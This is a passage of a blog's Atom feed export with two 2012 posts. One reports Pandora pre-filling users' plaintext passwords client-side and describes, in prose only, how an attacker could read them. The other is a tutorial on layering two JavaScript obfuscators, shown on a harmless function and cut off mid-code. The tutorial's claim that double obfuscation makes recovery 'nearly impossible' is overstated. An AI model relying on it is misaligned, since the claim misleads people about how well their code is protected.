<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3512179240779188020</id><updated>2024-11-06T08:30:26.980+05:30</updated><category term="TechyZilla"/><category term="Infosec"/><category term="Hacking"/><category term="Internet"/><category term="Facebook"/><category term="Social Media"/><category term="Malware"/><category term="Google+"/><category term="Intelligence"/><category term="Twitter"/><category term="Google"/><category term="PHP"/><category term="Sri Lanka"/><category term="Chrome"/><category term="Malicious PHP In Images"/><category term="Tech Thoughts"/><category term="Anonymous"/><category term="Coding"/><category term="Eamil"/><category term="Microsoft"/><category term="Mobile"/><category term="Passwords"/><category term="Spam"/><category term="Android"/><category term="Apple"/><category term="Blogging"/><category term="Censorship"/><category term="ChromeOS"/><category term="CromeBook"/><category term="DoS"/><category term="Javascript"/><category term="Malicious PHP"/><category term="OAuth"/><category term="Scams"/><category term="Socl"/><category term="Tips"/><category term="Vulnerabilities"/><category term="pandora"/><category term="security"/><title type='text'>Techy Zilla</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>37</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-2351605835221898192</id><published>2012-09-21T22:57:00.002+05:30</published><updated>2012-09-21T23:05:49.422+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="pandora"/><category scheme="http://www.blogger.com/atom/ns#" term="Passwords"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>Pandora Storing Passwords In Plain Text In Client Side.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdfbTEsafT4TZi0VnToe5QLMbix77aRG_XsxiLMpfB5GnqdlJLzSyzR8jzUNJmGQ-I1UO_NTSwkHL-GtlHoBFgdRxThO71Aefp6ra8PDdaq6T82CmYSpGN8edaX6w1kIakfKt0fooY6i8/s1600/JG3oY.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;344&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdfbTEsafT4TZi0VnToe5QLMbix77aRG_XsxiLMpfB5GnqdlJLzSyzR8jzUNJmGQ-I1UO_NTSwkHL-GtlHoBFgdRxThO71Aefp6ra8PDdaq6T82CmYSpGN8edaX6w1kIakfKt0fooY6i8/s640/JG3oY.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
I came across this post on Google+ that showed that Pandora is sending password in plaintext to a logged in user and anyone can access them from a computer that&#39;s already logged in to Pandora. I don&#39;t know why they have to store their password in plain text on client side. But hope they are not storing their password in plain-text on their servers.&lt;br /&gt;
&lt;br /&gt;
According to the post on Google+ anyone can get the password of a already logged in user of Pandora from the user settings page. Because for whatever reason the password is sent to the user settings page and it&#39;s in plain text.&lt;br /&gt;
&lt;br /&gt;
The interesting thing to note is that even though the data to the user settings page is sent via HTTPS the password is accessible from the user settings page by injecting a script.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;span style=&quot;color: #073763;&quot;&gt;&quot;Even though the password itself appears to be fetched over HTTPS, the page it is inserted into is not... and thus a man-in-the-middle attack is possible to retrieve a user&#39;s password by injecting a script into the main page that reads it from the DOM.&quot;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
At the time I&#39;m writing this post it seems like Pandora might have patched the vulnerability.&lt;br /&gt;
&lt;br /&gt;
This is the original &lt;a href=&quot;https://plus.google.com/116797686750161798768/posts/NGV5xQwJywf&quot; target=&quot;_blank&quot;&gt;post on Google+.&lt;/a&gt; You can read the original post and the comments on Google+ by following the link to the post.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;span style=&quot;color: #073763;&quot;&gt;Note: This is not a password leak - you don&#39;t need to go and change your password on every site you use. Just change your Pandora password to something that isn&#39;t used elsewhere. Pandora have at least partially patched the issue. But it&#39;s still a good idea to use different passwords for different sites.&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;If you have a Pandora account, I highly recommend using a throwaway password for it (assuming you don&#39;t do so already).&lt;br /&gt;&lt;br /&gt;Why? Because Pandora doesn&#39;t one-way hash their passwords. If your account is logged in on a computer, anyone who sits down at that computer can go and look up your password on Pandora&#39;s settings page.&lt;br /&gt;&lt;br /&gt;Attached is an image that shows what that settings page looks like upon load - I haven&#39;t manually entered anything into the form fields and I don&#39;t use Chrome&#39;s auto-fill; the text in the fields is populated by Pandora.... including the plaintext of the password.&lt;br /&gt;&lt;br /&gt;Things like this are why I wrote a blog post about how to do web app auth correctly:&lt;br /&gt;http://codingkilledthecat.wordpress.com/2012/09/04/some-best-practices-for-web-app-authentication/&lt;br /&gt;&lt;br /&gt;Thanks to +Dan Boger for bringing this up.&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Edit: Also just discovered that their password-reset tokens aren&#39;t single use. You can reset the password of an account multiple times with the same reset token link...&lt;br /&gt;&lt;br /&gt;Also, since Pandora allows you to just change the password field and hit &quot;Save&quot;, if you come across someone&#39;s logged-in computer, you can just change their password even if Pandora didn&#39;t tell you what it was. (The right way to do this is to require the user to enter their current password along with the new password, and pre-fill none of the fields.)&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Edit 2: It has been pointed out in the comments that even though the password itself appears to be fetched over HTTPS, the page it is inserted into is not... and thus a man-in-the-middle attack is possible to retrieve a user&#39;s password by injecting a script into the main page that reads it from the DOM, if you have control of the upstream (e.g. if you&#39;re the owner of a public wireless network or the like).&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Edit 3: It has been further observed that Pandora appears to store the password using local storage in encrypted form and then load it into the password box locally. While this does indicate that they probably don&#39;t send unencrypted passwords over the wire, it doesn&#39;t change the fact that it is trivially easy for someone to walk up and look at your password.&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Edit 4: Let&#39;s be clear: this isn&#39;t about how Pandora stores passwords in their database. As investigation has shown, it is quite possible that Pandora doesn&#39;t use plaintext passwords server-side. (The only entity that could definitively answer that question is Pandora.) The issue being raised here centers on the fact that it is trivially easy to recover the plaintext form of the password stored *client-side*.&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Edit 5: Pandora has now at least partially patched this; the password field now contains &quot;__USE_EXISTING__&quot; by default unless changed.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/2351605835221898192/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/09/pandora-storing-passwords-in-plain-text.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/2351605835221898192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/2351605835221898192'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/09/pandora-storing-passwords-in-plain-text.html' title='Pandora Storing Passwords In Plain Text In Client Side.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdfbTEsafT4TZi0VnToe5QLMbix77aRG_XsxiLMpfB5GnqdlJLzSyzR8jzUNJmGQ-I1UO_NTSwkHL-GtlHoBFgdRxThO71Aefp6ra8PDdaq6T82CmYSpGN8edaX6w1kIakfKt0fooY6i8/s72-c/JG3oY.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-1531965073619921380</id><published>2012-09-13T00:23:00.001+05:30</published><updated>2012-09-13T00:27:37.778+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Coding"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Javascript"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>Better Javascript Obfuscating Method To Protect Your Code</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6UjxgoSoIMK90UrVwDOXgjplW108OxJ0CcWJ78R9kAwKagPveAERonsnwyagx3SPwCmwKh7WrZwFGFy0kefFczAYmtE3SOgRwvsrZSqRToo_wxlX8CA48iPWCFJgYTpLrGf7IKJk5GXM/s1600/stock-photo-3500947-computer-code.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6UjxgoSoIMK90UrVwDOXgjplW108OxJ0CcWJ78R9kAwKagPveAERonsnwyagx3SPwCmwKh7WrZwFGFy0kefFczAYmtE3SOgRwvsrZSqRToo_wxlX8CA48iPWCFJgYTpLrGf7IKJk5GXM/s320/stock-photo-3500947-computer-code.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
The thing that I&#39;ve come across from time to time is unprotected javascript code. Most of the javascript codes are not worth stealing because they don&#39;t represent a full program but if you have an online service that&#39;s entirely based on javascript code? And what if the service is a premium service then you have to protect your code from getting in to other people&#39;s hands.&lt;br /&gt;
&lt;br /&gt;
The best example for this is the SETT Decoder that&#39;s entirely based on Javascript &lt;a href=&quot;http://settdeco.bhasha.lk/&quot; target=&quot;_blank&quot;&gt;settdeco.bhasha.lk &lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Because javascript is a client side language, unlike PHP which is a server side language in javascipt anyone can read the code. So the best way is to obfuscate your code.&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;
&lt;/i&gt; &lt;i&gt;Obfuscation (or beclouding) is the hiding of intended meaning in communication, making communication confusing, wilfully ambiguous, and harder to interpret.&lt;/i&gt; - &lt;a href=&quot;http://en.wikipedia.org/wiki/Obfuscation&quot; target=&quot;_blank&quot;&gt;Wikipedia&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
There are free tools to obfuscate javascript code, one such popular tool is &lt;a href=&quot;http://www.javascriptobfuscator.com/&quot;&gt;www.javascriptobfuscator.com&lt;/a&gt; there are so many popular obfuscating tools out there, but the unfortunate thing is that there are ways to get through this obfuscation and revealing the code.The best de-obfuscate tool that I&#39;ve come across on the Internet is &lt;a href=&quot;http://jsbeautifier.org/&quot;&gt;jsbeautifier.org&lt;/a&gt;. This can even decode obfuscation by &lt;a href=&quot;http://www.javascriptobfuscator.com/&quot;&gt;www.javascriptobfuscator.com&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
I was making a javascript that I wanted the code to be protected and I needed a better obfuscation method, I searched the and came across this question at StackOverflow : &lt;a href=&quot;http://stackoverflow.com/questions/194397/how-can-i-obfuscate-javascript&quot; rel=&quot;nofollow nofollow&quot; target=&quot;_blank&quot;&gt;http://stackoverflow.com/questions/194397/how-can-i-obfuscate-javascript&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
There are many obfuscation tools are given in the answer to the question but all of the obfuscation by these tools can be de-obfuscated using &lt;a href=&quot;http://jsbeautifier.org/&quot;&gt;jsbeautifier.org&lt;/a&gt;. So how can I protect my code? There is a simple way to make de-obfuscation nearly impossible.&lt;br /&gt;
&lt;br /&gt;
The trick here is to use two different obfuscation methods on the same code. Let&#39;s take this code for example.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Original Code :&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;function myFunction()&lt;br /&gt;
{&lt;br /&gt;
var x=5;&lt;br /&gt;
return x;&lt;br /&gt;
}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Let&#39;s first obfuscate the code using&lt;/b&gt; &lt;a href=&quot;http://www.javascriptobfuscator.com/&quot;&gt;www.javascriptobfuscator.com&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Obfuscated code :&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;var _0x7275=[];function myFunction(){var _0x49f5x2=5;return _0x49f5x2;} ; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Now let&#39;s try to de-obfuscate the code using &lt;a href=&quot;http://jsbeautifier.org/&quot;&gt;http://jsbeautifier.org/&amp;nbsp;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
I get the original code in return, but the only difference is that the variables are hidden but that won&#39;t make any difference because we got the good part of the code&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Output de-obfuscated code :&lt;/b&gt; &lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #274e13;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;function myFunction() {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var _0x49f5x2 = 5;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; return _0x49f5x2;&lt;br /&gt;
};&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Now let&#39;s obfuscate the code using &lt;a href=&quot;http://www.daftlogic.com/projects-online-javascript-obfuscator.htm&quot;&gt;http://www.daftlogic.com/projects-online-javascript-obfuscator.htm&lt;/a&gt; I found this tool from the answer from &lt;a href=&quot;http://stackoverflow.com/questions/194397/how-can-i-obfuscate-javascript&quot; target=&quot;_blank&quot;&gt;stackoverflow.&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Obfuscated code : &lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;eval(function(p,a,c,k,e,d){e=function(c){return c};if(!&#39;&#39;.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return&#39;\\w+&#39;};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(&#39;\\b&#39;+e(c)+&#39;\\b&#39;,&#39;g&#39;),k[c])}}return p}(&#39;3 1(){2 0=5;4 0}&#39;,6,6,&#39;x|myFunction|var|function|return|&#39;.split(&#39;|&#39;),0,{}))&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
They obfuscate the code in a different method than &lt;a href=&quot;http://www.javascriptobfuscator.com/&quot;&gt;www.javascriptobfuscator.com.&lt;/a&gt; But when you try to de-obfuscate the code using  &lt;a href=&quot;http://jsbeautifier.org/&quot;&gt;http://jsbeautifier.org&amp;nbsp;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Output de-obfuscated code :&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;function myFunction() {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var x = 5;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; return x&lt;br /&gt;
}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You get the exact original code as in return. So what can we do to protect our javascript? Other obfuscated code using different tools can be de-obfuscated using &lt;a href=&quot;http://jsbeautifier.org/&quot;&gt;http://jsbeautifier.org&lt;/a&gt; in the same way.&lt;br /&gt;
&lt;br /&gt;
The thing that you can see clearly is that &lt;a href=&quot;http://www.daftlogic.com/projects-online-javascript-obfuscator.htm&quot;&gt;http://www.daftlogic.com/projects-online-javascript-obfuscator.htm&lt;/a&gt; and &lt;a href=&quot;http://www.javascriptobfuscator.com/&quot;&gt;www.javascriptobfuscator.com&lt;/a&gt; use two different methods to obfuscate the javascript.&lt;br /&gt;
&lt;br /&gt;
So first obfuscate your original javascirpt using &lt;a href=&quot;http://www.daftlogic.com/projects-online-javascript-obfuscator.htm&quot;&gt;http://www.daftlogic.com/projects-online-javascript-obfuscator.htm.&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Original Javascript :&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;function myFunction() {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var x = 5;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; return x&lt;br /&gt;
}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Obfuscated code using &lt;a href=&quot;http://www.daftlogic.com/projects-online-javascript-obfuscator.htm&quot;&gt;http://www.daftlogic.com/projects-online-javascript-obfuscator.htm:&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Obfuscated code using&amp;nbsp; :&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;eval(function(p,a,c,k,e,d){e=function(c){return c};if(!&#39;&#39;.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return&#39;\\w+&#39;};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(&#39;\\b&#39;+e(c)+&#39;\\b&#39;,&#39;g&#39;),k[c])}}return p}(&#39;3 1(){2 0=5;4 0}&#39;,6,6,&#39;x|myFunction|var|function|return|&#39;.split(&#39;|&#39;),0,{}))&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Now obfuscate the encrypted code that you get as the output from&lt;/b&gt; &lt;a href=&quot;http://www.daftlogic.com/projects-online-javascript-obfuscator.htm&quot;&gt;http://www.daftlogic.com/projects-online-javascript-obfuscator.htm&lt;/a&gt; using &lt;a href=&quot;http://www.javascriptobfuscator.com/&quot;&gt;www.javascriptobfuscator.com&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
And &lt;a href=&quot;http://www.javascriptobfuscator.com/&quot;&gt;www.javascriptobfuscator.com&lt;/a&gt; will give you and output of some code like this as the result&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Multiplie obfuscated output :&lt;/b&gt; &lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;var _0x2815=[&quot;\x33\x20\x31\x28\x29\x7B\x32\x20\x30\x3D\x35\x3B\x34\x20\x30\x7D&quot;,&quot;\x7C&quot;,&quot;\x73\x70\x6C\x69\x74&quot;,&quot;\x78\x7C\x6D\x79\x46\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x76\x61\x72\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C&quot;,&quot;\x72\x65\x70\x6C\x61\x63\x65&quot;,&quot;&quot;,&quot;\x5C\x77\x2B&quot;,&quot;\x5C\x62&quot;,&quot;\x67&quot;];eval(function (_0xf81fx1,_0xf81fx2,_0xf81fx3,_0xf81fx4,_0xf81fx5,_0xf81fx6){_0xf81fx5=function (_0xf81fx3){return _0xf81fx3;} ;if(!_0x2815[5][_0x2815[4]](/^/,String)){while(_0xf81fx3--){_0xf81fx6[_0xf81fx3]=_0xf81fx4[_0xf81fx3]||_0xf81fx3;} ;_0xf81fx4=[function (_0xf81fx5){return _0xf81fx6[_0xf81fx5];} ];_0xf81fx5=function (){return _0x2815[6];} ;_0xf81fx3=1;} ;while(_0xf81fx3--){if(_0xf81fx4[_0xf81fx3]){_0xf81fx1=_0xf81fx1[_0x2815[4]]( new RegExp(_0x2815[7]+_0xf81fx5(_0xf81fx3)+_0x2815[7],_0x2815[8]),_0xf81fx4[_0xf81fx3]);} ;} ;return _0xf81fx1;} (_0x2815[0],6,6,_0x2815[3][_0x2815[2]](_0x2815[1]),0,{}));&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
You might think this code won&#39;t work because of multiple obfuscation, but trust me the code still works as a charm even if it&#39;s obfuscated multiple times. &lt;br /&gt;
&lt;br /&gt;
Now try de-obfuscating this code using using &lt;a href=&quot;http://jsbeautifier.org/&quot;&gt;http://jsbeautifier.org&lt;/a&gt; and the output from &lt;a href=&quot;http://jsbeautifier.org/&quot;&gt;http://jsbeautifier.org&lt;/a&gt; would be like this&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;De-obfuscated output : &lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;3 1() {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2 0 = 5;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4 0&lt;br /&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Purely useless numbers and letters. So the output code from &lt;a href=&quot;http://jsbeautifier.org/&quot;&gt;http://jsbeautifier.org&lt;/a&gt; is useless and our code is protected. Now to make sure I&#39;ll try the code with a different de-obfuscator &lt;a href=&quot;http://javascriptbeautifier.com/&quot;&gt;javascriptbeautifier.com&lt;/a&gt; which is not as good as &lt;a href=&quot;http://jsbeautifier.org/&quot;&gt;jsbeautifier.org&lt;/a&gt; and when I try to de-obfuscate the code this is the output I get from  &lt;a href=&quot;http://javascriptbeautifier.com/&quot;&gt;javascriptbeautifier.com &lt;/a&gt;is this :&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;var _0x2815 = [&quot;\x33\x20\x31\x28\x29\x7B\x32\x20\x30\x3D\x35\x3B\x34\x20\x30\x7D&quot;, &quot;\x7C&quot;, &quot;\x73\x70\x6C\x69\x74&quot;, &quot;\x78\x7C\x6D\x79\x46\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x76\x61\x72\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C&quot;, &quot;\x72\x65\x70\x6C\x61\x63\x65&quot;, &quot;&quot;, &quot;\x5C\x77\x2B&quot;, &quot;\x5C\x62&quot;, &quot;\x67&quot;];&lt;br /&gt;eval(function(_0xf81fx1, _0xf81fx2, _0xf81fx3, _0xf81fx4, _0xf81fx5, _0xf81fx6) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; _0xf81fx5 = function(_0xf81fx3) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return _0xf81fx3;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; };&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (!_0x2815[5][_0x2815[4]](/^/, String)) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (_0xf81fx3--) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; _0xf81fx6[_0xf81fx3] = _0xf81fx4[_0xf81fx3] || _0xf81fx3;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; };&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; _0xf81fx4 = [function(_0xf81fx5) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return _0xf81fx6[_0xf81fx5];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; _0xf81fx5 = function() {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return _0x2815[6];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; };&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; _0xf81fx3 = 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; };&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (_0xf81fx3--) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (_0xf81fx4[_0xf81fx3]) {&lt;br 